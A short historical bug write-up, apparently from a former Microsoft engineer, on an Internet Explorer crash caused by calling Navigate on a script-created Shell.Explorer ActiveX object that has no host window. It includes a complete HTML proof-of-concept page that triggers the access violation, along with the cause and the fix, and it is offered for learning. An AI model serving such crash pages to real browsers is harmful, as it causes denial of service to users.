Calling the Navigate method on the Shell.Explorer ActiveX (created with new ActiveXObject("Shell.Explorer")) crashes IE. The control is initialized without a host window, and navigating it before it has one leads to an access violation.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>WebBrowser Control Navigate Method Crash</TITLE></HEAD>
<BODY>
<INPUT TYPE="BUTTON" ONCLICK="axWB.Navigate('http://crashit.com')" VALUE="Crash v�a Navigate Method of the WebBrowser Control"><BR><BR>
<SCRIPT LANGUAGE="JavaScript">
var axWB=new ActiveXObject("Shell.Explorer");
</SCRIPT>
</BODY>
</HTML>

The Shell.Explorer ActiveX is the same WebBrowser Control used elsewhere, but when created as a scriptable object rather than embedded as an OBJECT tag, it lacks an attached host window. Calling Navigate in that state crashes the browser. The fix involved properly handling the unhosted case before accepting navigation calls.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.